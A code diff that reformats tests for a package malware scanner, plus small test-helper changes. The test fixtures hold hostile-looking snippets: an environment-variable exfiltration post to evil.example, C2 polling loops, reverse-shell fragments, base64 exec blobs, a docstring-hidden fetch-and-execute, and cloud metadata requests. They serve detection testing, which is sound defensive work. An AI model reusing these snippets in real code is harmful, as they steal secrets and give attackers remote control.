@@ -602,7 +626,9 @@ def test_outbound_host_multiple_contexts_all_bind():
     # reopen the key, not ride the unchanged URL evidence.
     base = "const u = 'http://169.254.169.254/latest/meta-data/';\nfetch(u);\n"
     extra = "https.request({\n  hostname: '169.254.169.254',\n  path: '/evil',\n});\n"
-    assert snp._finding_key(_host_finding(base)) != snp._finding_key(_host_finding(base + extra))
+    assert snp._finding_key(_host_finding(base)) != snp._finding_key(
+        _host_finding(base + extra)
+    )
 
 
 def test_outbound_host_config_opener_after_unmatched_closer_binds():
@@ -610,7 +636,10 @@ def test_outbound_host_config_opener_after_unmatched_closer_binds():
     # backward window) must not drive depth negative and mask the host-config
     # opener that follows; the object should still bind so a changed path reopens.
     pre = "callback(arg);\n});\n"  # stray closer; the matching opener is out of view
-    obj = pre + "const opts = {\n  hostname: '169.254.169.254',\n  path: '%s',\n};\nrun(opts);\n"
+    obj = (
+        pre
+        + "const opts = {\n  hostname: '169.254.169.254',\n  path: '%s',\n};\nrun(opts);\n"
+    )
     assert snp._finding_key(_host_finding(obj % "/old")) != snp._finding_key(
         _host_finding(obj % "/evil")
     )
@@ -673,7 +702,9 @@ def _lifecycle_finding(body, frag):
     )
     text = json.dumps({"scripts": {"postinstall": body}})
     return [
-        f for f in snp.scan_package_json(pkg, "package/package.json", text) if frag in f.pattern
+        f
+        for f in snp.scan_package_json(pkg, "package/package.json", text)
+        if frag in f.pattern
     ][0]
 
 
@@ -740,7 +771,9 @@ def test_evidence_caps_match_count_with_digest_remainder():
     assert "more) sha256:" in ev
     assert ev.count(" | ") <= snp._MAX_EVIDENCE_MATCHES  # bounded, not `over` spans
     less = "".join(f"x{i} = process.env.NPM_TOKEN\n" for i in range(over - 1))
-    assert snp._evidence_hash(ev) != snp._evidence_hash(snp._evidence(less, snp._JS_ENV_TOKEN))
+    assert snp._evidence_hash(ev) != snp._evidence_hash(
+        snp._evidence(less, snp._JS_ENV_TOKEN)
+    )
 
 
 def test_evidence_streams_overflow_count_is_exact():
@@ -809,10 +842,10 @@ def test_outbound_host_config_reindent_is_stable():
     # A formatter-only reindent of the bound continuation lines must NOT change
     # the key (whitespace is normalized before the logical-line digest).
     tight = "const opts = {\n  hostname: '169.254.169.254',\n  path: '/x',\n};\nrun(opts);\n"
-    loose = (
-        "const opts = {\n      hostname: '169.254.169.254',\n      path:    '/x',\n};\nrun(opts);\n"
+    loose = "const opts = {\n      hostname: '169.254.169.254',\n      path:    '/x',\n};\nrun(opts);\n"
+    assert snp._finding_key(_host_finding(tight)) == snp._finding_key(
+        _host_finding(loose)
     )
-    assert snp._finding_key(_host_finding(tight)) == snp._finding_key(_host_finding(loose))
 
 
 def test_evidence_preserves_intra_string_whitespace():
@@ -862,7 +895,11 @@ def test_load_baseline_skips_non_dict_entries(tmp_path):
         json.dumps(
             {
                 "version": snp._BASELINE_SCHEMA_VERSION,
-                "entries": ["oops", 123, {"package": "p", "file": "package/a.js", "pattern": "x"}],
+                "entries": [
+                    "oops",
+                    123,
+                    {"package": "p", "file": "package/a.js", "pattern": "x"},
+                ],
             }
         ),
         encoding = "utf-8",
@@ -885,7 +922,11 @@ def test_legacy_schema_baseline_is_ignored(tmp_path):
             {
                 "version": 1,
                 "entries": [
-                    {"package": "aws-sdk", "file": "index.js", "pattern": "obfuscated-blob"}
+                    {
+                        "package": "aws-sdk",
+                        "file": "index.js",
+                        "pattern": "obfuscated-blob",
+                    }
                 ],
             }
         ),
diff --git a/tests/security/test_scan_packages.py b/tests/security/test_scan_packages.py
index 48e6da5f66..44f44b64f3 100644
--- a/tests/security/test_scan_packages.py
+++ b/tests/security/test_scan_packages.py
@@ -97,7 +97,9 @@ def test_clean_wheel_no_findings():
         str(FIXTURES / "clean_wheel.whl"),
         "clean_fixture",
     )
-    assert findings == [], f"unexpected findings on clean wheel: {[str(f) for f in findings]}"
+    assert (
+        findings == []
+    ), f"unexpected findings on clean wheel: {[str(f) for f in findings]}"
 
 
 # Fork 1 constants -- gated on availability.
@@ -198,7 +200,8 @@ def test_archive_corruption_produces_critical_finding(tmp_path):
     assert findings, "scan_archive returned 0 findings on corrupt wheel"
     corrupted = [f for f in findings if f.check == "archive_corrupted"]
     assert corrupted, (
-        "no archive_corrupted finding; got " f"{[(f.severity, f.check) for f in findings]}"
+        "no archive_corrupted finding; got "
+        f"{[(f.severity, f.check) for f in findings]}"
     )
     assert all(f.severity == sp.CRITICAL for f in corrupted)
 
@@ -262,7 +265,9 @@ def test_check_py_file_ignores_docstring_only_iocs():
         "VERSION = '1.0'\n"
     )
     findings = sp.check_py_file(benign, "pkg/_doc.py", "pkg")
-    assert findings == [], f"docstring IOCs should not flag: {[str(f) for f in findings]}"
+    assert (
+        findings == []
+    ), f"docstring IOCs should not flag: {[str(f) for f in findings]}"
     # The same payload as real code still flags.
     real = (
         "import subprocess, urllib.request\n"
@@ -375,7 +380,9 @@ def test_baseline_key_line_shift_stable_but_code_specific():
 def test_extract_evidence_records_all_matches():
     # The whole point of P1: a match appended after the first few must show up
     # in the evidence, so it changes the key instead of riding the earlier ones.
-    src = "import requests\n" + "\n".join(f"requests.get('http://a{i}')" for i in range(6))
+    src = "import requests\n" + "\n".join(
+        f"requests.get('http://a{i}')" for i in range(6)
+    )
     ev = sp._extract_evidence(src, sp.RE_NETWORK)
     assert ev.count("requests.get(") == 6
 
@@ -383,11 +390,25 @@ def test_extract_evidence_records_all_matches():
 def test_baseline_key_reopens_on_appended_match():
     # A reviewed file already trips a check with several matches; a later exfil
     # call appended to the same file/check must reopen the finding.
-    base_src = "import requests\n" + "\n".join(f"requests.get('http://a{i}')" for i in range(3))
-    payload_src = base_src + "\nrequests.post('https://evil.example/exfil', data=os.environ)"
-    base = _mk(sp.CRITICAL, "p", "p/net.py", "net", sp._extract_evidence(base_src, sp.RE_NETWORK))
+    base_src = "import requests\n" + "\n".join(
+        f"requests.get('http://a{i}')" for i in range(3)
+    )
+    payload_src = (
+        base_src + "\nrequests.post('https://evil.example/exfil', data=os.environ)"
+    )
+    base = _mk(
+        sp.CRITICAL,
+        "p",
+        "p/net.py",
+        "net",
+        sp._extract_evidence(base_src, sp.RE_NETWORK),
+    )
     payload = _mk(
-        sp.CRITICAL, "p", "p/net.py", "net", sp._extract_evidence(payload_src, sp.RE_NETWORK)
+        sp.CRITICAL,
+        "p",
+        "p/net.py",
+        "net",
+        sp._extract_evidence(payload_src, sp.RE_NETWORK),
     )
     assert sp._finding_key(base) != sp._finding_key(payload)
 
@@ -433,7 +454,9 @@ def test_extract_evidence_caps_long_line_but_binds_tail():
     assert marker not in ev  # tail past the cap is not shown verbatim
     assert "sha256:" in ev  # but it is pinned by a digest
     assert len(ev) < len(line)  # bounded, not the whole minified line
-    base = sp._extract_evidence("requests.get('http://a')  " + pad + "x\n", sp.RE_NETWORK)
+    base = sp._extract_evidence(
+        "requests.get('http://a')  " + pad + "x\n", sp.RE_NETWORK
+    )
     assert sp._evidence_hash(ev) != sp._evidence_hash(base)
 
 
@@ -532,9 +555,9 @@ def test_extract_evidence_same_line_close_then_open_binds_call():
     # changed body on a continuation line reopens.
     old = "x = [a]; requests.post(\n  'http://h/old',\n  data=secret,\n)\n"
     new = "x = [a]; requests.post(\n  'http://h/old',\n  data=EVIL,\n)\n"
-    assert sp._evidence_hash(sp._extract_evidence(old, sp.RE_NETWORK)) != sp._evidence_hash(
-        sp._extract_evidence(new, sp.RE_NETWORK)
-    )
+    assert sp._evidence_hash(
+        sp._extract_evidence(old, sp.RE_NETWORK)
+    ) != sp._evidence_hash(sp._extract_evidence(new, sp.RE_NETWORK))
 
 
 def test_extract_evidence_backslash_continued_string_binds_tail():
@@ -544,9 +567,9 @@ def test_extract_evidence_backslash_continued_string_binds_tail():
     # reopen. The blanker tracks the continuation so the whole call binds.
     old = "requests.post('http://h\\\n/path)', data='old')\n"
     new = "requests.post('http://h\\\n/path)', data='EVIL')\n"
-    assert sp._evidence_hash(sp._extract_evidence(old, sp.RE_NETWORK)) != sp._evidence_hash(
-        sp._extract_evidence(new, sp.RE_NETWORK)
-    )
+    assert sp._evidence_hash(
+        sp._extract_evidence(old, sp.RE_NETWORK)
+    ) != sp._evidence_hash(sp._extract_evidence(new, sp.RE_NETWORK))
 
 
 def test_extract_evidence_long_call_tail_past_soft_cap_reopens():
@@ -557,9 +580,9 @@ def test_extract_evidence_long_call_tail_past_soft_cap_reopens():
     mid = "\n".join(f"  opt{i}=1," for i in range(sp._MAX_CALL_LINES + 20))
     old = "requests.post(\n" + mid + "\n  data='old',\n)\n"
     new = "requests.post(\n" + mid + "\n  data='EVIL',\n)\n"
-    assert sp._evidence_hash(sp._extract_evidence(old, sp.RE_NETWORK)) != sp._evidence_hash(
-        sp._extract_evidence(new, sp.RE_NETWORK)
-    )
+    assert sp._evidence_hash(
+        sp._extract_evidence(old, sp.RE_NETWORK)
+    ) != sp._evidence_hash(sp._extract_evidence(new, sp.RE_NETWORK))
 
 
 def test_extract_evidence_fallback_line_numbers_are_correct():
@@ -622,8 +645,12 @@ def test_extract_evidence_records_all_multiline_matches():
 def test_multiline_evidence_reopens_on_continuation_change():
     # A DOTALL match records every line it spans, so changing the URL inside an
     # already-flagged C2 loop (a continuation line) reopens the finding...
-    old = "while True:\n    time.sleep(60)\n    requests.get('http://old.example/poll')\n"
-    new = "while True:\n    time.sleep(60)\n    requests.get('http://evil.example/c2')\n"
+    old = (
+        "while True:\n    time.sleep(60)\n    requests.get('http://old.example/poll')\n"
+    )
+    new = (
+        "while True:\n    time.sleep(60)\n    requests.get('http://evil.example/c2')\n"
+    )
     fo = _mk(
         sp.CRITICAL,
         "p",
@@ -728,7 +755,10 @@ def test_extract_evidence_records_multiline_after_oneline():
     # A one-line C2 match no longer suppresses a later multi-line C2 loop: the
     # appended cross-line construct is recorded too, so it cannot ride the key.
     oneline = "while True: time.sleep(60); requests.get('http://a/poll')\n"
-    appended = oneline + "while True:\n    time.sleep(30)\n    requests.get('http://evil/c2')\n"
+    appended = (
+        oneline
+        + "while True:\n    time.sleep(30)\n    requests.get('http://evil/c2')\n"
+    )
     eo = sp._extract_evidence(oneline, sp.RE_C2_POLLING)
     ea = sp._extract_evidence(appended, sp.RE_C2_POLLING)
     assert "evil" in ea
@@ -742,7 +772,11 @@ def test_extract_evidence_giant_span_binds_full_interior():
     # reopens instead of riding the key. (Binding only head/tail would fail open on
     # an interior insertion.) A pure line shift still stays stable.
     gap = "\n".join(f"    x = {i}" for i in range(70))
-    base = "import socket\nsock.connect(addr)\n" + gap + "\nos.dup2(fd, 0)\nsubprocess.Popen(cmd)\n"
+    base = (
+        "import socket\nsock.connect(addr)\n"
+        + gap
+        + "\nos.dup2(fd, 0)\nsubprocess.Popen(cmd)\n"
+    )
     # interior insertion of a cross-line payload between the unchanged outer anchors
     injected = base.replace("    x = 35", "    x = 35\n    sock.connect(evilhost)")
     ea = sp._extract_evidence(base, sp.RE_REVERSE_SHELL)
@@ -782,7 +816,9 @@ def test_hidden_payload_binds_visible_exec_trigger():
     def key(src):
         return [
             sp._finding_key(f)
-            for f in sp._hidden_payload_findings(src, sp._strip_noncode(src), "p/x.py", "p")
+            for f in sp._hidden_payload_findings(
+                src, sp._strip_noncode(src), "p/x.py", "p"
+            )
             if "hidden network+exec" in f.check
         ][0]
 
@@ -794,7 +830,9 @@ def test_js_finding_pins_full_content_digest():
     # that closes the bracket span early cannot let later option/body lines change
     # without reopening (the Python-string-aware extractor would otherwise omit
     # them). Holds for small files too, not just large bundles.
-    old = "window.ethereum.request(`tpl with ) paren`,\n  {method: 'eth', body: 'OLD'})\n"
+    old = (
+        "window.ethereum.request(`tpl with ) paren`,\n  {method: 'eth', body: 'OLD'})\n"
+    )
     new = "window.ethereum.request(`tpl with ) paren`,\n  {method: 'eth', body: 'EVIL'})\n"
     fo = [f for f in sp.check_js_file(old, "p/w.js", "p") if "Web3" in f.check][0]
     fn = [f for f in sp.check_js_file(new, "p/w.js", "p") if "Web3" in f.check][0]
@@ -840,8 +878,16 @@ def test_base64_exec_blob_finding_binds_every_blob():
     head = "import base64\nblob1 = '" + "A" * 220 + "'\nexec(base64.b64decode(blob1))\n"
     old = head
     new = head + "blob2 = '" + "B" * 220 + "'\n"
-    fo = [f for f in sp.check_py_file(old, "p/x.py", "p") if "large encoded blob" in f.check]
-    fn = [f for f in sp.check_py_file(new, "p/x.py", "p") if "large encoded blob" in f.check]
+    fo = [
+        f
+        for f in sp.check_py_file(old, "p/x.py", "p")
+        if "large encoded blob" in f.check
+    ]
+    fn = [
+        f
+        for f in sp.check_py_file(new, "p/x.py", "p")
+        if "large encoded blob" in f.check
+    ]
     assert fo and fn
     assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])
 
@@ -851,8 +897,16 @@ def test_pth_large_blob_finding_binds_every_blob():
     # encoded payload reopens rather than riding the unchanged first blob.
     old = "import os\n" + "X" * 220 + "\n"
     new = old + "Y" * 220 + "\n"
-    fo = [f for f in sp.check_pth_file(old, "p/x.pth", "p") if "large base64-like blob" in f.check]
-    fn = [f for f in sp.check_pth_file(new, "p/x.pth", "p") if "large base64-like blob" in f.check]
+    fo = [
+        f
+        for f in sp.check_pth_file(old, "p/x.pth", "p")
+        if "large base64-like blob" in f.check
+    ]
+    fn = [
+        f
+        for f in sp.check_pth_file(new, "p/x.pth", "p")
+        if "large base64-like blob" in f.check
+    ]
     assert fo and fn
     assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])
 
@@ -878,7 +932,9 @@ def test_pth_unusually_large_finding_is_content_bound():
 def test_js_token_network_finding_binds_network_evidence():
     # The JS stealer combo records both the token AND the network call, so a
     # changed exfil endpoint reopens (RE_NETWORK-recognized call used here).
-    old = "const t='ghp_AAAAAAAAAAAAAAAAAAAAAAAA';\nrequests.get('http://old.example');\n"
+    old = (
+        "const t='ghp_AAAAAAAAAAAAAAAAAAAAAAAA';\nrequests.get('http://old.example');\n"
+    )
     new = "const t='ghp_AAAAAAAAAAAAAAAAAAAAAAAA';\nrequests.get('http://evil.example');\n"
     fo = [f for f in sp.check_js_file(old, "p/p.js", "p") if "stealer" in f.check]
     fn = [f for f in sp.check_js_file(new, "p/p.js", "p") if "stealer" in f.check]
@@ -956,8 +1012,16 @@ def test_hidden_network_exec_reopens_on_endpoint_change():
         '"""\nimport urllib.request, os\nurllib.request.urlopen("http://evil/x").read()\n'
         'os.system("sh -c id")\n"""\nexec(__doc__)\n'
     )
-    fo = [f for f in sp.check_py_file(old, "p/d.py", "p") if "hidden network+exec" in f.check]
-    fn = [f for f in sp.check_py_file(new, "p/d.py", "p") if "hidden network+exec" in f.check]
+    fo = [
+        f
+        for f in sp.check_py_file(old, "p/d.py", "p")
+        if "hidden network+exec" in f.check
+    ]
+    fn = [
+        f
+        for f in sp.check_py_file(new, "p/d.py", "p")
+        if "hidden network+exec" in f.check
+    ]
     assert fo and fn
     assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])
 
@@ -967,8 +1031,16 @@ def test_base64_exec_blob_combo_binds_blob_digest():
     # digests it, so a changed payload reopens even with unchanged base64/exec.
     b1 = "BLOB = '" + "A" * 300 + "'\nimport base64\nexec(base64.b64decode(BLOB))\n"
     b2 = "BLOB = '" + "B" * 300 + "'\nimport base64\nexec(base64.b64decode(BLOB))\n"
-    f1 = [f for f in sp.check_py_file(b1, "p/m.py", "p") if "large encoded blob" in f.check]
-    f2 = [f for f in sp.check_py_file(b2, "p/m.py", "p") if "large encoded blob" in f.check]
+    f1 = [
+        f
+        for f in sp.check_py_file(b1, "p/m.py", "p")
+        if "large encoded blob" in f.check
+    ]
+    f2 = [
+        f
+        for f in sp.check_py_file(b2, "p/m.py", "p")
+        if "large encoded blob" in f.check
+    ]
     assert f1 and f2
     assert "Blob: sha256:" in f1[0].evidence
     assert sp._finding_key(f1[0]) != sp._finding_key(f2[0])
@@ -979,8 +1051,16 @@ def test_openssl_key_combo_binds_key_evidence():
     # reopens instead of riding the OpenSSL line alone.
     o1 = 'import os\nos.system("openssl enc -aes-256-cbc -in d -out e")\nKEY = "-----BEGIN PRIVATE KEY-----A"\n'
     o2 = 'import os\nos.system("openssl enc -aes-256-cbc -in d -out e")\nKEY = "-----BEGIN PRIVATE KEY-----B"\n'
-    g1 = [f for f in sp.check_py_file(o1, "p/o.py", "p") if "openssl encryption" in f.check]
-    g2 = [f for f in sp.check_py_file(o2, "p/o.py", "p") if "openssl encryption" in f.check]
+    g1 = [
+        f
+        for f in sp.check_py_file(o1, "p/o.py", "p")
+        if "openssl encryption" in f.check
+    ]
+    g2 = [
+        f
+        for f in sp.check_py_file(o2, "p/o.py", "p")
+        if "openssl encryption" in f.check
+    ]
     assert g1 and g2
     assert "Key:" in g1[0].evidence
     assert sp._finding_key(g1[0]) != sp._finding_key(g2[0])
@@ -1031,8 +1111,16 @@ def test_large_js_bundle_finding_is_content_bound():
     # so a malicious bundle cannot ride a baselined empty-evidence entry.
     big_a = "var x = 1;\n" * 20000  # ~200 KB, benign
     big_b = big_a + "var exfil = 2;\n"  # different content, same size bucket
-    ja = [f for f in sp.check_js_file(big_a, "pkg/bundle.js", "pkg") if "JS bundle" in f.check]
-    jb = [f for f in sp.check_js_file(big_b, "pkg/bundle.js", "pkg") if "JS bundle" in f.check]
+    ja = [
+        f
+        for f in sp.check_js_file(big_a, "pkg/bundle.js", "pkg")
+        if "JS bundle" in f.check
+    ]
+    jb = [
+        f
+        for f in sp.check_js_file(big_b, "pkg/bundle.js", "pkg")
+        if "JS bundle" in f.check
+    ]
     assert ja and jb, "large JS bundle must produce a finding"
     assert ja[0].evidence.startswith("sha256:")
     assert sp._finding_key(ja[0]) != sp._finding_key(jb[0])
@@ -1062,9 +1150,15 @@ def test_pth_import_lines_record_all_not_first_five():
     # malicious one (first five unchanged) still reopens the catch-all finding.
     base = "".join(f"import mod{i}\n" for i in range(6))
     swapped = "".join(f"import mod{i}\n" for i in range(5)) + "import evil\n"
-    fb = [f for f in sp.check_pth_file(base, "p/x.pth", "p") if "executable import line" in f.check]
+    fb = [
+        f
+        for f in sp.check_pth_file(base, "p/x.pth", "p")
+        if "executable import line" in f.check
+    ]
     fs = [
-        f for f in sp.check_pth_file(swapped, "p/x.pth", "p") if "executable import line" in f.check
+        f
+        for f in sp.check_pth_file(swapped, "p/x.pth", "p")
+        if "executable import line" in f.check
     ]
     assert fb and fs
     assert sp._finding_key(fb[0]) != sp._finding_key(fs[0])
@@ -1194,7 +1288,10 @@ def test_baseline_suppresses_listed_but_not_new_check(tmp_path):
 
     # A NEW kind of finding in the SAME file is a different check -> still active.
     new_kind = _mk(
-        sp.CRITICAL, "fastapi", "fastapi/routing.py", "Reverse shell / bind shell pattern"
+        sp.CRITICAL,
+        "fastapi",
+        "fastapi/routing.py",
+        "Reverse shell / bind shell pattern",
     )
     active2, suppressed2 = sp._partition_baseline([new_kind], baseline)
     assert active2 == [new_kind] and suppressed2 == []
@@ -1266,13 +1363,18 @@ def test_committed_baseline_suppresses_known_but_not_a_new_payload():
         for e in entries
         if e["package"] == "botocore"
         and e["file"] == "botocore/utils.py"
-        and e["check"] == "Harvests environment variables/secrets AND makes network calls"
+        and e["check"]
+        == "Harvests environment variables/secrets AND makes network calls"
     )
     baseline = sp._load_baseline(str(baseline_path))
 
     # The exact reviewed finding is suppressed.
     benign = _mk(
-        target["severity"], target["package"], target["file"], target["check"], target["evidence"]
+        target["severity"],
+        target["package"],
+        target["file"],
+        target["check"],
+        target["evidence"],
     )
     active, suppressed = sp._partition_baseline([benign], baseline)
     assert suppressed == [benign] and active == []
@@ -1299,7 +1401,9 @@ def test_committed_baseline_entries_all_carry_evidence_hash():
     entries = json.loads(baseline_path.read_text())["entries"]
     assert entries, "committed baseline should not be empty"
     missing = [
-        f"{e['package']}:{e['file']}:{e['check']}" for e in entries if not e.get("evidence_hash")
+        f"{e['package']}:{e['file']}:{e['check']}"
+        for e in entries
+        if not e.get("evidence_hash")
     ]
     assert not missing, f"entries missing evidence_hash: {missing[:5]}"
     # And each pinned hash matches a recompute from the stored evidence.
@@ -1355,7 +1459,9 @@ def test_spec_pin_version():
 
 
 def test_release_has_wheel_detects_sdist_only():
-    sdist_only = _meta([_f("sdist", "x-1.0.0.tar.gz", "https://files.pythonhosted.org/x.tar.gz")])
+    sdist_only = _meta(
+        [_f("sdist", "x-1.0.0.tar.gz", "https://files.pythonhosted.org/x.tar.gz")]
+    )
     assert sp._release_has_wheel(sdist_only, None) is False
     assert sp._release_has_wheel(sdist_only, "1.0.0") is False
     has_wheel = _meta(
@@ -1370,7 +1476,9 @@ def test_release_has_wheel_detects_sdist_only():
 def test_is_trusted_pypi_url_only_https_pypi():
     assert sp._is_trusted_pypi_url("https://files.pythonhosted.org/p/x.tar.gz") is True
     assert sp._is_trusted_pypi_url("https://pypi.org/x.tar.gz") is True
-    assert sp._is_trusted_pypi_url("http://files.pythonhosted.org/x.tar.gz") is False  # not https
+    assert (
+        sp._is_trusted_pypi_url("http://files.pythonhosted.org/x.tar.gz") is False
+    )  # not https
     assert sp._is_trusted_pypi_url("https://evil.example/x.tar.gz") is False
     assert sp._is_trusted_pypi_url("https://files.pythonhosted.org.evil.com/x") is False
 
@@ -1401,21 +1509,28 @@ def test_marker_holds_by_default():
     assert sp._marker_holds_by_default('extra == "dev"') is False
     # Default-true markers that mention extra must be kept.
     assert sp._marker_holds_by_default("extra != 'dev'") is True
-    assert sp._marker_holds_by_default("python_version >= '3.8' or extra == 'dev'") is True
+    assert (
+        sp._marker_holds_by_default("python_version >= '3.8' or extra == 'dev'") is True
+    )
     # No marker / plain env marker -> kept.
     assert sp._marker_holds_by_default("") is True
     # Platform/python markers are kept: the scanner runs on one target but the
     # package may install on another, so these deps must still be scanned.
     assert sp._marker_holds_by_default("sys_platform == 'win32'") is True
     assert sp._marker_holds_by_default("python_version == '3.13'") is True
-    assert sp._marker_holds_by_default("sys_platform == 'win32' and extra == 'gpu'") is True
+    assert (
+        sp._marker_holds_by_default("sys_platform == 'win32' and extra == 'gpu'")
+        is True
+    )
 
 
 def test_requires_dist_for_fails_closed_on_missing_pin_metadata(monkeypatch):
     # The pinned release's own metadata cannot be fetched -> recover nothing
     # rather than substituting the latest release's (wrong) dependency tree.
     project = _meta([], requires = ["latestdep==9.9.9"])
-    monkeypatch.setattr(sp, "_pypi_json", lambda name, version = None: None if version else project)
+    monkeypatch.setattr(
+        sp, "_pypi_json", lambda name, version = None: None if version else project
+    )
     assert sp._requires_dist_for("oldpkg", "1.0.0", project) == []
 
 
@@ -1424,7 +1539,9 @@ def test_requires_dist_for_uses_pinned_release(monkeypatch):
     # release does. _requires_dist_for must follow the pinned release's tree.
     project = _meta([], requires = ["harmless>=1"])
     pinned = _meta([], requires = ["payload==1.0.0"])
-    monkeypatch.setattr(sp, "_pypi_json", lambda name, version = None: pinned if version else project)
+    monkeypatch.setattr(
+        sp, "_pypi_json", lambda name, version = None: pinned if version else project
+    )
     specs = sp._requires_dist_for("oldpkg", "1.0.0", project)
     assert "payload==1.0.0" in specs
     assert "harmless>=1" not in specs
@@ -1434,7 +1551,9 @@ def test_requires_dist_for_records_incomplete_scan_error(monkeypatch):
     # Missing pinned metadata must surface an incomplete-scan error, not a silent
     # [] that a caller cannot tell apart from a genuine no-deps release.
     project = _meta([], requires = ["latestdep==9.9.9"])
-    monkeypatch.setattr(sp, "_pypi_json", lambda name, version = None: None if version else project)
+    monkeypatch.setattr(
+        sp, "_pypi_json", lambda name, version = None: None if version else project
+    )
     errors: list[str] = []
     assert sp._requires_dist_for("oldpkg", "1.0.0", project, errors) == []
     assert errors and "incomplete" in errors[0]
@@ -1443,7 +1562,13 @@ def test_requires_dist_for_records_incomplete_scan_error(monkeypatch):
 def test_release_files_pinned_missing_fails_closed():
     # A pin absent from metadata must NOT fall back to the latest artifact.
     meta = _meta(
-        [_f("sdist", "x-2.0.0.tar.gz", "https://files.pythonhosted.org/x-2.0.0.tar.gz")],
+        [
+            _f(
+                "sdist",
+                "x-2.0.0.tar.gz",
+                "https://files.pythonhosted.org/x-2.0.0.tar.gz",
+            )
+        ],
         version = "2.0.0",
     )
     assert sp._release_files(meta, "9.9.9") == []  # missing pin -> empty, not latest
@@ -1455,7 +1580,13 @@ def test_release_files_pinned_missing_fails_closed():
 def test_download_sdist_direct_missing_pin_does_not_scan_latest(tmp_path):
     # Pinned version absent -> no sdist returned (never the latest file).
     meta = _meta(
-        [_f("sdist", "x-2.0.0.tar.gz", "https://files.pythonhosted.org/x-2.0.0.tar.gz")],
+        [
+            _f(
+                "sdist",
+                "x-2.0.0.tar.gz",
+                "https://files.pythonhosted.org/x-2.0.0.tar.gz",
+            )
+        ],
         version = "2.0.0",
     )
     fpath, err = sp._download_sdist_direct("x", "9.9.9", str(tmp_path), meta = meta)
@@ -1478,9 +1609,17 @@ def test_download_sdist_direct_no_sdist_published(tmp_path):
 
 def test_download_sdist_direct_writes_and_preserves_suffix(tmp_path, monkeypatch):
     payload = b"\x1f\x8b" + b"fake-tar-gz-bytes"
-    monkeypatch.setattr(sp.urllib.request, "urlopen", lambda req, timeout = 0: _FakeResp(payload))
+    monkeypatch.setattr(
+        sp.urllib.request, "urlopen", lambda req, timeout = 0: _FakeResp(payload)
+    )
     meta = _meta(
-        [_f("sdist", "langid-1.1.6.tar.gz", "https://files.pythonhosted.org/langid-1.1.6.tar.gz")],
+        [
+            _f(
+                "sdist",
+                "langid-1.1.6.tar.gz",
+                "https://files.pythonhosted.org/langid-1.1.6.tar.gz",
+            )
+        ],
         version = "1.1.6",
     )
     fpath, err = sp._download_sdist_direct("langid", "1.1.6", str(tmp_path), meta = meta)
@@ -1491,8 +1630,12 @@ def test_download_sdist_direct_writes_and_preserves_suffix(tmp_path, monkeypatch
 
 def test_download_sdist_direct_size_cap(tmp_path, monkeypatch):
     monkeypatch.setattr(sp, "_MAX_SDIST_BYTES", 8)
-    monkeypatch.setattr(sp.urllib.request, "urlopen", lambda req, timeout = 0: _FakeResp(b"x" * 100))
-    meta = _meta([_f("sdist", "x-1.0.0.tar.gz", "https://files.pythonhosted.org/x.tar.gz")])
+    monkeypatch.setattr(
+        sp.urllib.request, "urlopen", lambda req, timeout = 0: _FakeResp(b"x" * 100)
+    )
+    meta = _meta(
+        [_f("sdist", "x-1.0.0.tar.gz", "https://files.pythonhosted.org/x.tar.gz")]
+    )
     fpath, err = sp._download_sdist_direct("x", "1.0.0", str(tmp_path), meta = meta)
     assert fpath is None and "cap" in err
 
@@ -1527,7 +1670,13 @@ def test_per_spec_sdist_only_is_not_error(tmp_path, monkeypatch):
         sp,
         "_pypi_json",
         lambda name, version = None: _meta(
-            [_f("sdist", "x-1.0.0.tar.gz", "https://files.pythonhosted.org/x-1.0.0.tar.gz")]
+            [
+                _f(
+                    "sdist",
+                    "x-1.0.0.tar.gz",
+                    "https://files.pythonhosted.org/x-1.0.0.tar.gz",
+                )
+            ]
         ),
     )
     monkeypatch.setattr(
diff --git a/tests/studio/_playwright_robust.py b/tests/studio/_playwright_robust.py
index b2f6df751e..444618b882 100644
--- a/tests/studio/_playwright_robust.py
+++ b/tests/studio/_playwright_robust.py
@@ -133,7 +133,9 @@ def wait_for_health(
         # Accept any 200 -- different Unsloth builds report status differently.
         if status == 200:
             if info is not None:
-                info(f"health pre-flight OK: status=200, body keys={list((body or {}).keys())}")
+                info(
+                    f"health pre-flight OK: status=200, body keys={list((body or {}).keys())}"
+                )
             return True
         time.sleep(0.5)
     if info is not None:
@@ -168,7 +170,9 @@ def recover_or_replace_page(
             info(f"recovery: page.is_closed() check failed: {exc!r}")
     if goto_url is not None:
         try:
-            page.goto(goto_url, wait_until = "domcontentloaded", timeout = default_timeout_ms)
+            page.goto(
+                goto_url, wait_until = "domcontentloaded", timeout = default_timeout_ms
+            )
             if settle_networkidle:
                 try:
                     page.wait_for_load_state("networkidle", timeout = 30_000)
@@ -354,7 +358,11 @@ def robust_evaluate(
     """`target.evaluate(expression, arg)` for a Page or Locator, retried when a
     concurrent navigation destroys the execution context. Re-raises on a
     non-transient error or after the final attempt."""
-    page = target if hasattr(target, "wait_for_load_state") else getattr(target, "page", None)
+    page = (
+        target
+        if hasattr(target, "wait_for_load_state")
+        else getattr(target, "page", None)
+    )
     attempts = max(1, int(retries) + 1)
     for attempt in range(attempts):
         try:
diff --git a/tests/studio/install/smoke_test_llama_prebuilt.py b/tests/studio/install/smoke_test_llama_prebuilt.py
index f7fd58aaa4..d87537dc94 100644
--- a/tests/studio/install/smoke_test_llama_prebuilt.py
+++ b/tests/studio/install/smoke_test_llama_prebuilt.py
@@ -15,7 +15,9 @@ INSTALLER_PATH = PACKAGE_ROOT / "studio" / "install_llama_prebuilt.py"
 
 
 def load_installer_module():
-    spec = importlib.util.spec_from_file_location("studio_install_llama_prebuilt", INSTALLER_PATH)
+    spec = importlib.util.spec_from_file_location(
+        "studio_install_llama_prebuilt", INSTALLER_PATH
+    )
     if spec is None or spec.loader is None:
         raise RuntimeError(f"unable to load installer module from {INSTALLER_PATH}")
     module = importlib.util.module_from_spec(spec)
@@ -110,13 +112,17 @@ def main() -> int:
             published_release_tag = args.published_release_tag,
         )
         print(f"[smoke] PASS install_dir={install_dir}")
-        print("[smoke] note=This was a real prebuilt install into an isolated temp directory.")
+        print(
+            "[smoke] note=This was a real prebuilt install into an isolated temp directory."
+        )
         return installer.EXIT_SUCCESS
     except SystemExit as exc:
         code = int(exc.code) if isinstance(exc.code, int) else installer.EXIT_ERROR
         if code == installer.EXIT_FALLBACK:
             print(f"[smoke] FALLBACK install_dir={install_dir}")
-            print("[smoke] note=Prebuilt path failed and would fall back to source build in setup.")
+            print(
+                "[smoke] note=Prebuilt path failed and would fall back to source build in setup."
+            )
